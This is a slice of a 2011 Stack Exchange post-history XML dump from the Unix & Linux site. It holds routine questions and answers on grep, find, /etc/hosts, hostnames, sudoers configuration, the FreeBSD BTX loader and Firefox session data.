  <row Id="32159" PostHistoryTypeId="2" PostId="13037" RevisionGUID="e52f0493-801c-42cf-93c0-d36375ccfab6" CreationDate="2011-05-12T05:45:26.900" UserId="7185" Text="I Can't find any good manual/reference about BTX bootloader integrated into FreeBSD. &#xD;&#xA;Especially I would like to know:&#xD;&#xA;&#xD;&#xA;- if it's functionality resembles GRUB 2. For example, if it can boot OS other  than FreeBSD&#xD;&#xA;- how to edit it's boot menu, what options are available&#xD;&#xA;- how to use it's command line ( I know there is help in command line, but it's very base )&#xD;&#xA;- how to 'troubleshoot'&#xD;&#xA;&#xD;&#xA;Do you know any good resources ?" />
  <row Id="32160" PostHistoryTypeId="1" PostId="13037" RevisionGUID="e52f0493-801c-42cf-93c0-d36375ccfab6" CreationDate="2011-05-12T05:45:26.900" UserId="7185" Text="BTX loader manual" />
  <row Id="32161" PostHistoryTypeId="3" PostId="13037" RevisionGUID="e52f0493-801c-42cf-93c0-d36375ccfab6" CreationDate="2011-05-12T05:45:26.900" UserId="7185" Text="ébootàéfreebsdàébootöloaderà" />
  <row Id="32162" PostHistoryTypeId="2" PostId="13038" RevisionGUID="b25fbcdb-88d5-4d59-908f-be9b5fcd08ca" CreationDate="2011-05-12T05:55:04.117" UserId="3169" Text="You haven't given much information, so the easiest thing to say is:&#xD;&#xA;&#xD;&#xA;Run `rpm -qi &lt;package name&gt; | grep Source` and then Google for that file name.&#xD;&#xA;&#xD;&#xA;Other useful resources:&#xD;&#xA;&#xD;&#xA;  * [rpm.pbone.net](http://rpm.pbone.net)&#xD;&#xA;  * [rpmfind.net](http://rpmfind.net)&#xD;&#xA;  * [DAG](http://dag.wieers.com/rpm/)&#xD;&#xA;  * [rpmforge spec files](http://svn.rpmforge.net/viewvc/rpmforge/trunk/rpms/)&#xD;&#xA;  * [RPMforge@apt.sw.be](http://apt.sw.be/)" />
  <row Id="32163" PostHistoryTypeId="5" PostId="13038" RevisionGUID="10d6d5d3-73ed-4712-a0a7-6f6ddc661e08" CreationDate="2011-05-12T06:06:52.187" UserId="3169" Comment="added 447 characters in body" Text="You haven't given much information, so the easiest thing to say is:&#xD;&#xA;&#xD;&#xA;Run `rpm -qi &lt;package name&gt; | grep Source` and then Google for that file name.&#xD;&#xA;&#xD;&#xA;In general, what you should try is to find a download mirror for your distribution.  For example, the Fedora 14 mirror list is at [mirrors.fedoraproject.org/publiclist/Fedora/14/i386/](http://mirrors.fedoraproject.org/publiclist/Fedora/14/i386/).&#xD;&#xA;&#xD;&#xA;Then navigate to find the SRPMs folder for the release you have, e.g. something like [/fedora/linux/releases/14/Fedora/source/](http://mirror.optus.net/fedora/linux/releases/14/Fedora/source/).&#xD;&#xA;&#xD;&#xA;Other useful resources:&#xD;&#xA;&#xD;&#xA;  * [rpm.pbone.net](http://rpm.pbone.net)&#xD;&#xA;  * [rpmfind.net](http://rpmfind.net)&#xD;&#xA;  * [DAG](http://dag.wieers.com/rpm/)&#xD;&#xA;  * [rpmforge spec files](http://svn.rpmforge.net/viewvc/rpmforge/trunk/rpms/)&#xD;&#xA;  * [RPMforge@apt.sw.be](http://apt.sw.be/)" />
  <row Id="32164" PostHistoryTypeId="25" PostId="13005" RevisionGUID="1f8863ed-933e-40dd-9e40-99d67830a461" CreationDate="2011-05-12T06:11:49.987" Comment="http://twitter.com/#!/StackUnix/status/68558982498889729" />
  <row Id="32165" PostHistoryTypeId="2" PostId="13039" RevisionGUID="aed49e1c-6a4d-467b-8f51-2d544b98fb26" CreationDate="2011-05-12T06:20:41.927" UserId="5473" Text="I'm using grep to do this, like:&#xD;&#xA;&#xD;&#xA;_grep someText file.log_&#xD;&#xA;&#xD;&#xA;But this returns the complete line in results. If_someText_ is found in the middle of a line I don't want to ouput the whole line, just the part after and including the _someText_. Is there a way to achieve this?" />
  <row Id="32166" PostHistoryTypeId="1" PostId="13039" RevisionGUID="aed49e1c-6a4d-467b-8f51-2d544b98fb26" CreationDate="2011-05-12T06:20:41.927" UserId="5473" Text="Search for a text in Linux but don't display the complete line in results" />
  <row Id="32167" PostHistoryTypeId="3" PostId="13039" RevisionGUID="aed49e1c-6a4d-467b-8f51-2d544b98fb26" CreationDate="2011-05-12T06:20:41.927" UserId="5473" Text="élinuxàégrepàésearchà" />
  <row Id="32168" PostHistoryTypeId="2" PostId="13040" RevisionGUID="23fa232c-f99a-4184-9826-7b7ae21a04f4" CreationDate="2011-05-12T06:26:51.653" UserId="2421" Text="Append a `.*` to your search and use the `-o` (`--only-matching`) option:&#xD;&#xA;&#xD;&#xA;    grep 'someText.*' -o file.log&#xD;&#xA;" />
  <row Id="32169" PostHistoryTypeId="5" PostId="12921" RevisionGUID="17ba1185-e209-4961-9824-44ad588d499c" CreationDate="2011-05-12T06:44:39.040" UserId="1925" Comment="deleted 1 characters in body" Text="You can use find to fetch all files of type symlink and add the `-ilname` option to search by name of the link destination. This works just like `-iname` but for the link target name instead of the link name.&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot;&#xD;&#xA;&#xD;&#xA;That will still print out the name of the link, not the target. If you want to print the names of the targets, try this:&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -printf &quot;%l\n&quot;&#xD;&#xA;&#xD;&#xA;Or get a full `ls` style output&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -ls&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;What you mean by &quot;*do something with the list*&quot; is unclear, but if you wanted to operate on the link files, you could use the `-exec` argument to find:&#xD;&#xA;&#xD;&#xA;    find -type l -ilname &quot;*bar*&quot; -exec touch {} \;&#xD;&#xA;&#xD;&#xA;But if you need to operate on the link targets, you will need to use the `-printf` to get the target values and then `xargs` or some loop yourself to operate. You could do something like this:&#xD;&#xA;&#xD;&#xA;    find -type l -printf &quot;%l\n&quot; | grep bar | xargs touch&#xD;&#xA;&#xD;&#xA;... which also demonstrates how to use `grep` instead of `find -ilname` to do your name matching, although you could do that either way.&#xD;&#xA;" />
  <row Id="32170" PostHistoryTypeId="5" PostId="13039" RevisionGUID="9c01286d-bcad-4d00-a759-8e38c21520fb" CreationDate="2011-05-12T06:46:44.547" UserId="1925" Comment="added 3 characters in body" Text="I'm using grep to do this, like:&#xD;&#xA;&#xD;&#xA;    grep someText file.log&#xD;&#xA;&#xD;&#xA;But this returns the complete line in results. If `someText` is found in the middle of a line I don't want to ouput the whole line, just the part after and including the `someText`. Is there a way to achieve this?" />
  <row Id="32171" PostHistoryTypeId="2" PostId="13041" RevisionGUID="8c07b683-c101-4f08-8fb8-9880d4fde333" CreationDate="2011-05-12T06:55:18.213" UserId="1925" Text="It looks like a pretty capable boot loader, but highly tailored around loading BSD kernels. Check out [this doc file][1] for some general descriptions of the different features. The boot menu and options are well detailed in the [conf file man page][2]. Command line usage and and general setup is covered in the main [loader man page][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://people.freebsd.org/~jhb/docs/loader.txt&#xD;&#xA;  [2]: http://www.freebsd.org/cgi/man.cgi?query=loader.conf&amp;sektion=5&#xD;&#xA;  [3]: http://www.freebsd.org/cgi/man.cgi?query=loader&amp;sektion=8" />
  <row Id="32172" PostHistoryTypeId="6" PostId="13039" RevisionGUID="e0ec314d-37ed-4c3e-8e17-8210dbdcd0d9" CreationDate="2011-05-12T07:04:29.853" UserId="885" Comment="edited tags" Text="égrepà" />
  <row Id="32173" PostHistoryTypeId="2" PostId="13042" RevisionGUID="4a13a3c8-4b58-4069-98d2-78099f45aeee" CreationDate="2011-05-12T07:19:10.903" UserId="7318" Text="Here are the steps to change the hostname of the CentOS machine using terminal.&#xD;&#xA;&#xD;&#xA;Open Terminal. Type su -, to login as the root. After providing the password, type vi /etc/sysconfig/network. This will open the 'network' file using the vi text editor in command mode. Type 'i' to go into insert mode. Navigate to the hostname section of the file and replace localhost.localdomain with etest (or the required hostname). Press 'Esc' to exit insert mode and get back to the command mode. In command mode type :wq to save changes and exit vi.&#xD;&#xA;&#xD;&#xA;Incase you want to exit without saving, type :q! in command mode.&#xD;&#xA;&#xD;&#xA;Similar steps can be followed to edit the /etc/hosts file if required." />
  <row Id="32174" PostHistoryTypeId="5" PostId="13042" RevisionGUID="3ebb4fc2-540d-4c7c-82ce-b6189c362ae7" CreationDate="2011-05-12T07:24:18.547" UserId="7318" Comment="added 6 characters in body; added 29 characters in body; edited body" Text="Here are the steps to change the hostname of a CentOS machine (or any other RHEL derivative) using terminal.&#xD;&#xA;&#xD;&#xA;Open Terminal. Type su -, to login as the root. After providing the password, type vi /etc/sysconfig/network. This will open the 'network' file using the vi text editor in command mode. Type 'i' to go into insert mode of vi. Navigate to the hostname section of the file and replace localhost.localdomain with etest (or the required hostname). Press 'Esc' to exit insert mode and get back to the command mode. In command mode type :wq to save changes and exit vi.&#xD;&#xA;&#xD;&#xA;Incase you want to exit without saving, type :q! in command mode.&#xD;&#xA;&#xD;&#xA;Similar steps can be followed to edit the /etc/hosts file if required." />
  <row Id="32175" PostHistoryTypeId="2" PostId="13043" RevisionGUID="3f002f84-17a4-4ba0-95e5-9669d338bdc6" CreationDate="2011-05-12T08:02:09.583" UserId="1131" Text="I am searching for a simple command line tool that takes a bunch of jpg files as input, copies them to some destination and generates some browsable html for it (including index page, preview thumbnails etc.), such that I can upload the results to some static webserver and people can conceniently browse them." />
  <row Id="32176" PostHistoryTypeId="1" PostId="13043" RevisionGUID="3f002f84-17a4-4ba0-95e5-9669d338bdc6" CreationDate="2011-05-12T08:02:09.583" UserId="1131" Text="How to generate jpg thumbnails and browsable html pages from command line?" />
  <row Id="32177" PostHistoryTypeId="3" PostId="13043" RevisionGUID="3f002f84-17a4-4ba0-95e5-9669d338bdc6" CreationDate="2011-05-12T08:02:09.583" UserId="1131" Text="égraphicsàéhtmlàéjpegà" />
  <row Id="32178" PostHistoryTypeId="2" PostId="13044" RevisionGUID="9ba2dc39-6c87-4899-b53a-e8f0b9e97a14" CreationDate="2011-05-12T08:22:15.653" UserId="6761" Text="You can hack a solution together with &lt;a href=&quot;https://www.dropbox.com/&quot;&gt;Dropbox&lt;/a&gt;. &#xD;&#xA;&#xD;&#xA;Install &lt;a href=&quot;http://wiki.dropbox.com/DropboxAddons/DropboxLinuxCLI&quot;&gt;Dropbox CLI&lt;/a&gt; and you can use this &lt;a href=&quot;http://www.andreafabrizi.it/?dropbox_uploader&quot;&gt;bash upload script&lt;/a&gt; to copy files to &lt;a href=&quot;https://www.dropbox.com/help/18&quot;&gt;a public gallery&lt;/a&gt; which presents the images in a &lt;a href=&quot;http://www.dropbox.com/gallery/261312/1/Top10Albums?h=9bd9f4&quot;&gt;minimally styled format&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;DropboxCLI has an option to copy the gallery URL&#xD;&#xA;&lt;blockquote&gt;copygallery - Copies the gallery url to the clipboard&lt;/blockquote&gt;&#xD;&#xA;so that you can then share that link... " />
  <row Id="32182" PostHistoryTypeId="2" PostId="13046" RevisionGUID="f0cc60f2-638c-461b-9f28-570012a3ec4a" CreationDate="2011-05-12T08:35:59.240" UserId="7318" Text="Pasted below this question is a sample of a etc/hosts file from a linux and a windows machine. The linux file has two tabbed entries after the IP address (that is localhost.localdomain localhost) and windows has only one. If I want to edit the etc/hosts file in windows to have the machine name (etest) instead of localhost, I simply replace the word localhost with the machine name I want. The machine need not be part of a domain.&#xD;&#xA;&#xD;&#xA;In a linux machine, the two entries localhost.localdomain and localhost seems to indicate that I will need the machine to be part of a domain. Is this true?&#xD;&#xA;&#xD;&#xA;Can I simply edit both entries to etest so that it will read:&#xD;&#xA;&#xD;&#xA;    127.0.0.1		etest etest&#xD;&#xA;&#xD;&#xA;or is it required that I substitute one entry with a domain name?&#xD;&#xA;&#xD;&#xA;Additionally, please let me know what the second line of the etc/hosts file on the linux machine is for.&#xD;&#xA;&#xD;&#xA;    ::1		localhost6.localdomain6 localhost6&#xD;&#xA;&#xD;&#xA;-hosts file on a linux machine&#xD;&#xA;&#xD;&#xA;    # Do not remove the following line, or various programs&#xD;&#xA;    # that require network functionality will fail.&#xD;&#xA;    127.0.0.1		localhost.localdomain localhost&#xD;&#xA;    ::1		localhost6.localdomain6 localhost6&#xD;&#xA;&#xD;&#xA;-hosts file on a windows machine&#xD;&#xA;&#xD;&#xA;    # Copyright (c) 1993-1999 Microsoft Corp.&#xD;&#xA;    #&#xD;&#xA;    # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.&#xD;&#xA;    #&#xD;&#xA;    # This file contains the mappings of IP addresses to host names. Each&#xD;&#xA;    # entry should be kept on an individual line. The IP address should&#xD;&#xA;    # be placed in the first column followed by the corresponding host name.&#xD;&#xA;    # The IP address and the host name should be separated by at least one&#xD;&#xA;    # space.&#xD;&#xA;    #&#xD;&#xA;    # Additionally, comments (such as these) may be inserted on individual&#xD;&#xA;    # lines or following the machine name denoted by a '#' symbol.&#xD;&#xA;    #&#xD;&#xA;    # For example:&#xD;&#xA;    #&#xD;&#xA;    #      102.54.94.97     rhino.acme.com          # source server&#xD;&#xA;    #       38.25.63.10     x.acme.com              # x client host&#xD;&#xA;    &#xD;&#xA;    127.0.0.1       localhost&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32183" PostHistoryTypeId="1" PostId="13046" RevisionGUID="f0cc60f2-638c-461b-9f28-570012a3ec4a" CreationDate="2011-05-12T08:35:59.240" UserId="7318" Text="How to edit a etc/hosts file on Linux machine? The file seems different from a etc/hosts file of a Windows machine" />
  <row Id="32184" PostHistoryTypeId="3" PostId="13046" RevisionGUID="f0cc60f2-638c-461b-9f28-570012a3ec4a" CreationDate="2011-05-12T08:35:59.240" UserId="7318" Text="écentosàéhostnameàéhostsà" />
  <row Id="32185" PostHistoryTypeId="2" PostId="13047" RevisionGUID="35af5b09-6313-4424-b07d-a7801d77cb7b" CreationDate="2011-05-12T08:49:30.160" UserId="1925" Text="You always want the 127.0.0.1 address to resolve first to localhost. If there is a domain you can use that too, but then make sure localhost is listed second. If you want to add aliases for your machine that will lookup to the loopback address you can keep adding them as space separated values on that line. Specifying a domain here is optional, but don't remove &quot;localhost&quot; from the options." />
  <row Id="32186" PostHistoryTypeId="2" PostId="13048" RevisionGUID="9758f18c-d037-435d-abd8-69c1933184d6" CreationDate="2011-05-12T09:03:44.943" UserId="3169" Text="You shouldn't have to make your host part of a domain.  Try it and see.&#xD;&#xA;&#xD;&#xA;But it would be a good idea to use `.localdomain` if you don't have a real domain name.  It can make host name resolution a little bit quicker due to the `ndots` option in [`/etc/resolv.conf`](http://linux.die.net/man/5/resolv.conf).&#xD;&#xA;&#xD;&#xA;In this sense, domain means DNS domain (like `google.com` or `stackexchange.com`), not a Windows domain or anything like that.&#xD;&#xA;&#xD;&#xA;The line starting with `::1` is for [IPv6](http://en.wikipedia.org/wiki/IPv6).  `::1` is like `127.0.0.1` under the new addressing scheme.  Run `ifconfig lo` and you should see it has two addresses.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32187" PostHistoryTypeId="5" PostId="13048" RevisionGUID="860a0a2a-7252-4c46-af9c-f10f6861f8bf" CreationDate="2011-05-12T09:08:58.560" UserId="3169" Comment="added 182 characters in body" Text="The format of `/etc/hosts` on Linux and Windows is the same:&#xD;&#xA;&#xD;&#xA;    IP address        hostname [hostalias]...&#xD;&#xA;&#xD;&#xA;where the brackets indicate the host alias is optional.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You shouldn't have to make your host part of a domain.  Try it and see.  But it would be a good idea to use `.localdomain` if you don't have a real domain name.  It can make host name resolution a little bit quicker due to the `ndots` option in [`/etc/resolv.conf`](http://linux.die.net/man/5/resolv.conf).&#xD;&#xA;&#xD;&#xA;Note that in this sense, domain means DNS domain (like `google.com` or `stackexchange.com`), not a Windows domain or anything like that.&#xD;&#xA;&#xD;&#xA;The line starting with `::1` is for [IPv6](http://en.wikipedia.org/wiki/IPv6).  `::1` is like `127.0.0.1` under the new addressing scheme.  Run `ifconfig lo` and you should see it has two addresses.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32188" PostHistoryTypeId="25" PostId="13046" RevisionGUID="916ddb66-2f4a-40b5-a67b-24053817c406" CreationDate="2011-05-12T09:11:49.863" Comment="http://twitter.com/#!/StackUnix/status/68604279891562497" />
  <row Id="32189" PostHistoryTypeId="5" PostId="13048" RevisionGUID="7cf5a773-b928-4f75-9a99-5ac7cb44a5df" CreationDate="2011-05-12T09:14:07.400" UserId="3169" Comment="added 101 characters in body; added 79 characters in body; added 209 characters in body" Text="The format of `/etc/hosts` on Linux and Windows is the same:&#xD;&#xA;&#xD;&#xA;    IP address        hostname [hostalias]...&#xD;&#xA;&#xD;&#xA;where the brackets are the usual way of indicating that something is optional (don't actually type them) and the dots (`...`) mean there can be more than one.&#xD;&#xA;&#xD;&#xA;You shouldn't have to make your host part of a domain.  Try it and see.  But it would be a good idea to use `.localdomain` if you don't have a real domain name.  It can make host name resolution a little bit quicker due to the `ndots` option in [`/etc/resolv.conf`](http://linux.die.net/man/5/resolv.conf).&#xD;&#xA;&#xD;&#xA;Note that in this sense, domain means DNS domain (like `google.com` or `stackexchange.com`), not a Windows domain or anything like that.&#xD;&#xA;&#xD;&#xA;The line starting with `::1` is for [IPv6](http://en.wikipedia.org/wiki/IPv6).  `::1` is like `127.0.0.1` under the new addressing scheme.  Run `ifconfig lo` and you should see it has two addresses.  Note the entry starting with `inet6`.&#xD;&#xA;&#xD;&#xA;    $ ifconfig lo&#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;See the [hosts(5) man page](http://linux.die.net/man/5/hosts) for more details." />
  <row Id="32191" PostHistoryTypeId="5" PostId="13043" RevisionGUID="cb3fbcf0-970e-4ff2-9302-6efd6a403d27" CreationDate="2011-05-12T09:30:56.607" UserId="1131" Comment="typo" Text="I am searching for a simple command line tool that takes a bunch of jpg files as input, copies them to some destination and generates some browsable html for it (including index page, preview thumbnails etc.), such that I can upload the results to some static webserver and people can conveniently browse them." />
  <row Id="32193" PostHistoryTypeId="2" PostId="13050" RevisionGUID="f770b9f3-6109-4e18-8c13-df3e3b922967" CreationDate="2011-05-12T09:37:24.913" UserId="7374" Text="I think you may be able to get that data with SystemTap. I've found a reference manual at Red Hat here: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/pdf/SystemTap_Tapset_Reference/Red_Hat_Enterprise_Linux-6-SystemTap_Tapset_Reference-en-US.pdf. &#xD;&#xA;&#xD;&#xA;A beginners guide is here: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/pdf/SystemTap_Beginners_Guide/Red_Hat_Enterprise_Linux-6-SystemTap_Beginners_Guide-en-US.pdf&#xD;&#xA;&#xD;&#xA;The tool looks versatile enough to let you get that data, in particular probe::netdev.rx looks like something that will give you information on incoming entries, now you &quot;only&quot; need to find either net size of the queue in the buffer, or something that counts things leaving the queue..." />
  <row Id="32194" PostHistoryTypeId="5" PostId="13046" RevisionGUID="0c62773d-7fe8-4a58-9dd0-5fbda3c53ef7" CreationDate="2011-05-12T09:49:38.103" UserId="885" Comment="title; formatting; tags" Text="Pasted below this question is a sample of a `/etc/hosts` file from a Linux (CentOS) and a Windows machine. The Linux file has two tabbed entries after the IP address (that is localhost.localdomain localhost) and Windows has only one. If I want to edit the hosts file in Windows to have the machine name (etest) instead of localhost, I simply replace the word localhost with the machine name I want. The machine need not be part of a domain.&#xD;&#xA;&#xD;&#xA;In a Linux machine, the two entries `localhost.localdomain` and `localhost` seems to indicate that I will need the machine to be part of a domain. Is this true?&#xD;&#xA;&#xD;&#xA;Can I simply edit both entries to `etest` so that it will read:&#xD;&#xA;&#xD;&#xA;    127.0.0.1		etest etest&#xD;&#xA;&#xD;&#xA;or is it required that I substitute one entry with a domain name?&#xD;&#xA;&#xD;&#xA;Additionally, please let me know what the second line of the `/etc/hosts` file on the Linux machine is for.&#xD;&#xA;&#xD;&#xA;    ::1		localhost6.localdomain6 localhost6&#xD;&#xA;&#xD;&#xA;`hosts` file on a Linux machine:&#xD;&#xA;&#xD;&#xA;    # Do not remove the following line, or various programs&#xD;&#xA;    # that require network functionality will fail.&#xD;&#xA;    127.0.0.1		localhost.localdomain localhost&#xD;&#xA;    ::1		localhost6.localdomain6 localhost6&#xD;&#xA;&#xD;&#xA;`hosts` file on a windows machine:&#xD;&#xA;&#xD;&#xA;    # Copyright (c) 1993-1999 Microsoft Corp.&#xD;&#xA;    #&#xD;&#xA;    # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.&#xD;&#xA;    #&#xD;&#xA;    # This file contains the mappings of IP addresses to host names. Each&#xD;&#xA;    # entry should be kept on an individual line. The IP address should&#xD;&#xA;    # be placed in the first column followed by the corresponding host name.&#xD;&#xA;    # The IP address and the host name should be separated by at least one&#xD;&#xA;    # space.&#xD;&#xA;    #&#xD;&#xA;    # Additionally, comments (such as these) may be inserted on individual&#xD;&#xA;    # lines or following the machine name denoted by a '#' symbol.&#xD;&#xA;    #&#xD;&#xA;    # For example:&#xD;&#xA;    #&#xD;&#xA;    #      102.54.94.97     rhino.acme.com          # source server&#xD;&#xA;    #       38.25.63.10     x.acme.com              # x client host&#xD;&#xA;    &#xD;&#xA;    127.0.0.1       localhost&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32195" PostHistoryTypeId="4" PostId="13046" RevisionGUID="0c62773d-7fe8-4a58-9dd0-5fbda3c53ef7" CreationDate="2011-05-12T09:49:38.103" UserId="885" Comment="title; formatting; tags" Text="Format of /etc/hosts on Linux (different from Windows?)" />
  <row Id="32196" PostHistoryTypeId="6" PostId="13046" RevisionGUID="0c62773d-7fe8-4a58-9dd0-5fbda3c53ef7" CreationDate="2011-05-12T09:49:38.103" UserId="885" Comment="title; formatting; tags" Text="élinuxàéhostsà" />
  <row Id="32198" PostHistoryTypeId="2" PostId="13051" RevisionGUID="b8d759f6-a281-42ba-804c-10454c50e5da" CreationDate="2011-05-12T09:56:22.963" UserId="7374" Text="For join the argument after -t is a character. For sort you can supply a longer sort separator. I think that you may be joining the files on a different field that you want to, and ignoring the case solves the problem by coincidence.&#xD;&#xA;&#xD;&#xA;And I agreee with Gilles, that sample data would be helpful." />
  <row Id="32199" PostHistoryTypeId="17" PostId="13053" RevisionGUID="f097267c-ab63-49f8-bd60-0f7b65fc6a91" CreationDate="2011-05-12T10:02:05.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5975229/run-shell-file-as-root-automatically-in-linux/5975334#5975334" Text="" />
  <row Id="32200" PostHistoryTypeId="17" PostId="13054" RevisionGUID="bee5ee5b-199c-486e-b27f-b5bb7cd5e1cb" CreationDate="2011-05-12T10:02:05.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5975229/run-shell-file-as-root-automatically-in-linux/5975339#5975339" Text="" />
  <row Id="32201" PostHistoryTypeId="17" PostId="13055" RevisionGUID="131b5c14-8110-4dc5-86dc-a422c447888c" CreationDate="2011-05-12T10:02:05.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5975229/run-shell-file-as-root-automatically-in-linux/5975359#5975359" Text="" />
  <row Id="32202" PostHistoryTypeId="2" PostId="13053" RevisionGUID="2c6f01e5-7d0c-4344-ba85-884aaa0d4c2a" CreationDate="2011-05-12T08:30:31.130" UserDisplayName="musiKk" Text="I think your syntax is wrong. At least I use the following which works for me:&#xD;&#xA;&#xD;&#xA;    myusername ALL=(ALL) NOPASSWD: /path/to/executable" />
  <row Id="32203" PostHistoryTypeId="2" PostId="13054" RevisionGUID="1f42cf4c-e944-40ab-96a5-73531570aa08" CreationDate="2011-05-12T08:31:04.830" UserId="1925" Text="When you execute your script you need to run it as `sudo ./myFile.sh`. Additionally, as [noted seconds before][1], your sudo file syntax is needs fixing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5975229/run-shell-file-as-root-automatically-in-linux/5975334#5975334" />
  <row Id="32204" PostHistoryTypeId="2" PostId="13055" RevisionGUID="ce7410a1-e43d-4976-98ad-5d2bba3dde36" CreationDate="2011-05-12T08:32:19.373" UserDisplayName="GunBladeIV" Text="on this problem, rc.local will become handy.  But first i need to make sure when do you want to run this shell script? is it during boot up or randomly when you type the command? &#xD;&#xA;&#xD;&#xA;if you want to run it during boot up, then use rc.local and type:&#xD;&#xA;`sh /path/to/your/script.sh`&#xD;&#xA;`exit 0`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32205" PostHistoryTypeId="2" PostId="13052" RevisionGUID="8e7e98a7-e2a7-494d-92eb-e241d49785a0" CreationDate="2011-05-12T08:19:37.197" UserId="3208" Text="Hi guys,&#xD;&#xA;&#xD;&#xA;I need to make sure that a shell file can be executed properly in Linux without asking for password, hence making it run with root privileges.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried `chmod 700 myFile.sh` and added `myusername ALL = NOPASSWD: /home/myusername/myFile.sh` to sudoers, but no luck. Upon executing the file, it still asks for password.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="32206" PostHistoryTypeId="1" PostId="13052" RevisionGUID="8e7e98a7-e2a7-494d-92eb-e241d49785a0" CreationDate="2011-05-12T08:19:37.197" UserId="3208" Text="Run shell file as root automatically in Linux?" />
  <row Id="32207" PostHistoryTypeId="3" PostId="13052" RevisionGUID="8e7e98a7-e2a7-494d-92eb-e241d49785a0" CreationDate="2011-05-12T08:19:37.197" UserId="3208" Text="ébashàéshellàéubuntuàérootà" />
  <row Id="32208" PostHistoryTypeId="17" PostId="13052" RevisionGUID="e47de6fb-9963-417b-948d-ac733f3476cf" CreationDate="2011-05-12T10:02:05.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5975229/run-shell-file-as-root-automatically-in-linux" Text="" />
  <row Id="32209" PostHistoryTypeId="5" PostId="13052" RevisionGUID="0ed50f38-731b-4571-a435-2a0ad3d30314" CreationDate="2011-05-12T10:07:56.363" UserId="1925" Comment="deleted 46 characters in body" Text="I need to make sure that a shell file can be executed with root privileges in Linux without asking for password.&#xD;&#xA;&#xD;&#xA;I tried `chmod 700 myFile.sh` and added `myusername ALL = NOPASSWD: /home/myusername/myFile.sh` to sudoers, but no luck. Upon executing the file, it still asks for password.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="32210" PostHistoryTypeId="5" PostId="13054" RevisionGUID="7c71a195-4175-4d7a-ae9c-fdc022b5dbd1" CreationDate="2011-05-12T10:08:14.520" UserId="1925" Comment="deleted 1 characters in body" Text="When you execute your script you need to run it as `sudo ./myFile.sh`. Additionally, as [noted seconds before][1], your sudo file syntax is needs fixing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13052/run-shell-file-as-root-automatically-in-linux/13055#13055" />
  <row Id="32212" PostHistoryTypeId="5" PostId="13054" RevisionGUID="34ff8af7-1aa4-473b-82d6-c4de0db6f15f" CreationDate="2011-05-12T10:13:37.780" UserId="1925" Comment="added 816 characters in body" Text="When you execute your script you need to run it as `sudo ./myFile.sh`. Additionally, as [noted seconds before][1], your sudo file syntax is needs fixing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** Based on your comment to another answer, you want to run this from an icon. You will need to create a .desktop file that executes your program with sudo, just like on the terminal.&#xD;&#xA;&#xD;&#xA;You could also consider using gtk-sudo for a visual password prompt.&#xD;&#xA;&#xD;&#xA;The major alternative is using the suid bit: `chmod +s myFile.sh`. This would allow the program to run as the owner of the file no matter who launched it, but be aware that this is generally considered a really bad thing to do with shell scripts because the potential for abuse is huge, esp if your script accepts any kind of input. &#xD;&#xA;&#xD;&#xA;You should probably consider the idea that you shouldn't be running things as root and that changing the system farther down the road so that you don't need root permissions at all would be a better way to go.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13052/run-shell-file-as-root-automatically-in-linux/13055#13055" />
  <row Id="32213" PostHistoryTypeId="2" PostId="13056" RevisionGUID="ef382a12-e74a-4a51-8e4d-7ab86d6eafc8" CreationDate="2011-05-12T11:05:23.097" UserId="3152" Text="I'm currently developing a piece of software whose functionality is dependent upon knowing the state of the current Firefox session running on the user's Ubuntu computer. The information it will need to know the following:&#xD;&#xA;&#xD;&#xA;- How many Windows are open?&#xD;&#xA;- How many tabs are there in each window?&#xD;&#xA;- What is the URL currently opened in each tab?&#xD;&#xA;- How far down each tab has the user scrolled?&#xD;&#xA;&#xD;&#xA;Upon receiving an explicit command from the user, the application will hunt down this information from wherever it resides on the system. The problem is I have no idea where I should program the application to look for this. My first guess was that inspection of the Firefox processes in the kernel would yield the desired information, but I've used the system monitor to watch for additional processes starting up when more windows and tabs are opened, but the only Firefox process it mentions is 'firefox-bin', leading me to conclude that this assumption is incorrect. &#xD;&#xA;&#xD;&#xA;I'm prepared to do some significant reading if someone could just point me in the right direction, it's just that my time is limited and I can't afford to start poking around inside the kernel in the hope that I stumble across what I'm looking for.&#xD;&#xA;&#xD;&#xA;Does anyone know how I can find the above information **without** resorting to installing a plugin on Firefox that exports it? " />
  <row Id="32214" PostHistoryTypeId="1" PostId="13056" RevisionGUID="ef382a12-e74a-4a51-8e4d-7ab86d6eafc8" CreationDate="2011-05-12T11:05:23.097" UserId="3152" Text="Finding session information about Firefox" />
  <row Id="32215" PostHistoryTypeId="3" PostId="13056" RevisionGUID="ef382a12-e74a-4a51-8e4d-7ab86d6eafc8" CreationDate="2011-05-12T11:05:23.097" UserId="3152" Text="éfirefoxàédevelopmentà" />
